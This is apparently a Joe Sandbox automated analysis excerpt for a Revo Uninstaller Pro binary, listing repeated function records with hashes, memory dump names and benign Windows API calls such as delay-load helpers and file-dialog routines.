Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5f24c8006abdccab8db42bccaf59292d9f2a93e6623566866fb408b14fc6a0a0
Instruction ID: 43641e7f2f36ee0f262ba2076c3a65ebc693ae3d66591ab8409d6cbd3e9fbc85
Opcode Fuzzy Hash: 5f24c8006abdccab8db42bccaf59292d9f2a93e6623566866fb408b14fc6a0a0
Instruction Fuzzy Hash: 10B0128236C280EC300AB287AD02D3B020CE2C0B14730841FF084C58C5D4494C012131

Function 00FED1C9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED1B6

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 02e630529be5244636abb1950cc93d4fd214b8f33fb14d8747ca16fae30c794f
Instruction ID: 6993d6b2e86c46b873d78f387e41c90802ee03182173f2976c471fb7414e12fd
Opcode Fuzzy Hash: 02e630529be5244636abb1950cc93d4fd214b8f33fb14d8747ca16fae30c794f
Instruction Fuzzy Hash: B0B0128236C240EC300A6187AC02D3A071CD2C0B14730C50FF484C6486D4484C002131

Function 00FED1BF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED1B6

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f3548fdb4661236e077120232eb731b8032fac39c1de65558d8eede439f26945
Instruction ID: 951e89448daca77978be2a94da57dd36c71942622514ea4072a078a3cd54c42f
Opcode Fuzzy Hash: f3548fdb4661236e077120232eb731b8032fac39c1de65558d8eede439f26945
Instruction Fuzzy Hash: D1B0128636C240EC300A6187AC02D3A020CE2C0B14730C80FF084C54CDD8484C402131

Function 00FED1A4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED1B6

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1faced057133102e2a5c8c275d09ba896f9db863fa793feee7ea153b10559ce8
Instruction ID: b627d25ec95863442582b039d8f9afdf42e362a241546bedc56a59ba2f94c75e
Opcode Fuzzy Hash: 1faced057133102e2a5c8c275d09ba896f9db863fa793feee7ea153b10559ce8
Instruction Fuzzy Hash: 9EB012823AC340FC300A3183ED02C3A060DD3C0B14730C50FF0C0C54C6D4484C402031

Function 00FED23E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED217

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2cd889d96560ca955e00b361a0123eda0b1d41bf68472524370b9431b686c45a
Instruction ID: b6dfcdf54a569a9a3d2f09071eb213de1b4dde541b0e691bb5b784ef68e88b85
Opcode Fuzzy Hash: 2cd889d96560ca955e00b361a0123eda0b1d41bf68472524370b9431b686c45a
Instruction Fuzzy Hash: F2B012C63A8240EC300652CBAC02F37030DF5C0B28730C41EF044C648ADC488C002131

Function 00FED234 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED217

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9f4bf63dfa86c16707175fd912ac9ce592dcdb156560897735dcca144731552d
Instruction ID: 2bf2a20691d643b2f56a888b47fe0fe3550d4e54553331929255178574728c64
Opcode Fuzzy Hash: 9f4bf63dfa86c16707175fd912ac9ce592dcdb156560897735dcca144731552d
Instruction Fuzzy Hash: 21B012C63A8240EC300652CBAC02E37030DE5C0B28730C41EF444C6885D8488C002131

Function 00FED7BF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED7D1

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: caef8bcdd461e1e5d15509571bb5323af59a248faec4c55b6c0ec78612722ac7
Instruction ID: 1eb3e83e2110d30c98657c27fa91f63363f60f37f2bf22325525ec88a6086f2b
Opcode Fuzzy Hash: caef8bcdd461e1e5d15509571bb5323af59a248faec4c55b6c0ec78612722ac7
Instruction Fuzzy Hash: 9BB0128A368340FC310612C3AD02C36131CD3C0F55730C50EF040C44CDD4404C402073

Function 00FED1F6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED1B6

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 151e59cae88c3b5114d515f671e468d61894cf92f7da0c336caf1af6012fb4c9
Instruction ID: 525dacf917a2defdbd3934c8e2b29ac778070ca9dd97af23e139b930b418d9f9
Opcode Fuzzy Hash: 151e59cae88c3b5114d515f671e468d61894cf92f7da0c336caf1af6012fb4c9
Instruction Fuzzy Hash: 26A011823AC282FC300A2203AC02C3A020CC2C0B28330880EF0828888AA88808002030

Function 00FED1EC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED1B6

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0596b2a6ad4fecc5b5641ab6573f928e5cbdaec4b6c8d9209060846088d63eae
Instruction ID: 525dacf917a2defdbd3934c8e2b29ac778070ca9dd97af23e139b930b418d9f9
Opcode Fuzzy Hash: 0596b2a6ad4fecc5b5641ab6573f928e5cbdaec4b6c8d9209060846088d63eae
Instruction Fuzzy Hash: 26A011823AC282FC300A2203AC02C3A020CC2C0B28330880EF0828888AA88808002030

Function 00FED22F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED217

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a047860da4960adf989d7afc24820ed2ed12386bfcdab3333626be73a3b00247
Instruction ID: 61b45e7c2d8ad89cdcd06455b2549fa6cac9d1630140f8afeaad60d01af0815d
Opcode Fuzzy Hash: a047860da4960adf989d7afc24820ed2ed12386bfcdab3333626be73a3b00247
Instruction Fuzzy Hash: E6A011CA2A8282FC300A2283AC02E3B030EC0C0B28330880EF0028A88AA88888002030

Function 00FED225 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED217

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c14d19af53b7dd0bf05de69786ee96df700da70c3e39d6aaadf94c403355409f
Instruction ID: 61b45e7c2d8ad89cdcd06455b2549fa6cac9d1630140f8afeaad60d01af0815d
Opcode Fuzzy Hash: c14d19af53b7dd0bf05de69786ee96df700da70c3e39d6aaadf94c403355409f
Instruction Fuzzy Hash: E6A011CA2A8282FC300A2283AC02E3B030EC0C0B28330880EF0028A88AA88888002030

Function 00FED20A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED217

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 11919943dcaa05d5c906e9a407a72e68a602fa7e1f24e0ed89a74626312a3ff2
Instruction ID: 1b19c6545bfa7673efc58672e0d41292f2c3ddeff56a9a6c798d9f572c2d1302
Opcode Fuzzy Hash: 11919943dcaa05d5c906e9a407a72e68a602fa7e1f24e0ed89a74626312a3ff2
Instruction Fuzzy Hash: 55A011CA2A8280BC300A2283AC02E3B230EC0C0F28330880EF0008A88AA88888002030

Function 00FED200 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED1B6

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 262fcd1d8f2a26ee5b7a9d6b914d76e96911a88586a58ed85b2feb23dfe860b8
Instruction ID: 525dacf917a2defdbd3934c8e2b29ac778070ca9dd97af23e139b930b418d9f9
Opcode Fuzzy Hash: 262fcd1d8f2a26ee5b7a9d6b914d76e96911a88586a58ed85b2feb23dfe860b8
Instruction Fuzzy Hash: 26A011823AC282FC300A2203AC02C3A020CC2C0B28330880EF0828888AA88808002030

Function 00FE9A8D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32(?,00FE9CE4,C:\Program Files\VS Revo Group\Revo Uninstaller Pro,00000000,010185FA,00000006), ref: 00FE9A91

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 676a2306a658b5a3ca153aa530d98cf6e4b8b5c767b03ec849fc1b8c6d86a3e1
Instruction ID: e9f176095c5bdd07656139433b9691a36ca2a46d81b7eba142e376d0909a6ad7
Opcode Fuzzy Hash: 676a2306a658b5a3ca153aa530d98cf6e4b8b5c767b03ec849fc1b8c6d86a3e1
Instruction Fuzzy Hash: 61A01230194006468A114B30C80DC1576515770702F0086207142C0094CB318810A600

Function 00FD94DA Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000000FF,?,?,00FD94AA), ref: 00FD94F5

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d3c1c01261f496d3bcae9985fa85932609916854cbee5e8650b7164e6885c9f8
Instruction ID: 372ba59d5bbad7658ebf9e3cccb3f0ecfcf7818660a9207358c893929caa74be
Opcode Fuzzy Hash: d3c1c01261f496d3bcae9985fa85932609916854cbee5e8650b7164e6885c9f8
Instruction Fuzzy Hash: 76F089708467044EDB318B64D549792B7E59B11735F0C8B2FD0E7476D0D3B5684DEB10

Non-executed Functions

Function 00FEAFB9 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 289timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD12D7: GetDlgItem.USER32(00000000,00003021), ref: 00FD131B
Part of subcall function 00FD12D7: SetWindowTextW.USER32(00000000,010022E4), ref: 00FD1331

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00FEB04A
EndDialog.USER32(?,00000006), ref: 00FEB05D
GetDlgItem.USER32(?,0000006C), ref: 00FEB079
SetFocus.USER32(00000000), ref: 00FEB080
SetDlgItemTextW.USER32(?,00000065,?), ref: 00FEB0C0
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00FEB0F3
FindFirstFileW.KERNEL32(?,?), ref: 00FEB109
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00FEB127
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FEB137
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00FEB154
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00FEB172
_swprintf.LIBCMT ref: 00FEB1A2

Part of subcall function 00FD3E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FD3E54

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00FEB1B5
FindClose.KERNEL32(00000000), ref: 00FEB1B8
_swprintf.LIBCMT ref: 00FEB213
SetDlgItemTextW.USER32(?,00000068,?), ref: 00FEB226
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00FEB23C
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00FEB25C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FEB26C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00FEB286
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00FEB29E
_swprintf.LIBCMT ref: 00FEB2CF
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00FEB2E2
_swprintf.LIBCMT ref: 00FEB332
SetDlgItemTextW.USER32(?,00000069,?), ref: 00FEB345

Part of subcall function 00FE9D99: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00FE9DBF
Part of subcall function 00FE9D99: GetNumberFormatW.KERNEL32(00000400,00000000,?,0100D600,?,?), ref: 00FE9E0E

Strings

%s %s %s, xrefs: 00FEB190, 00FEB2BC
%s %s, xrefs: 00FEB201, 00FEB324
REPLACEFILEDLG, xrefs: 00FEAFE0

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: f45cff89c270a26dd92895ab888d338320f826cce50b08ff895897f9ccc77127
Instruction ID: 44b1c30c479188e37e9acaf0ec5a8df53e3bcc56d9e5b460a7cf5035d884b20d
Opcode Fuzzy Hash: f45cff89c270a26dd92895ab888d338320f826cce50b08ff895897f9ccc77127
Instruction Fuzzy Hash: F591B472548349BFE232DBA1CC49FFB77ACEB89700F044819B789D6081D779AA049762

Function 00FD6FC6 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD6FCB
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 00FD712B
CloseHandle.KERNEL32(00000000), ref: 00FD713B

Part of subcall function 00FD7A15: GetCurrentProcess.KERNEL32(00000020,?), ref: 00FD7A24
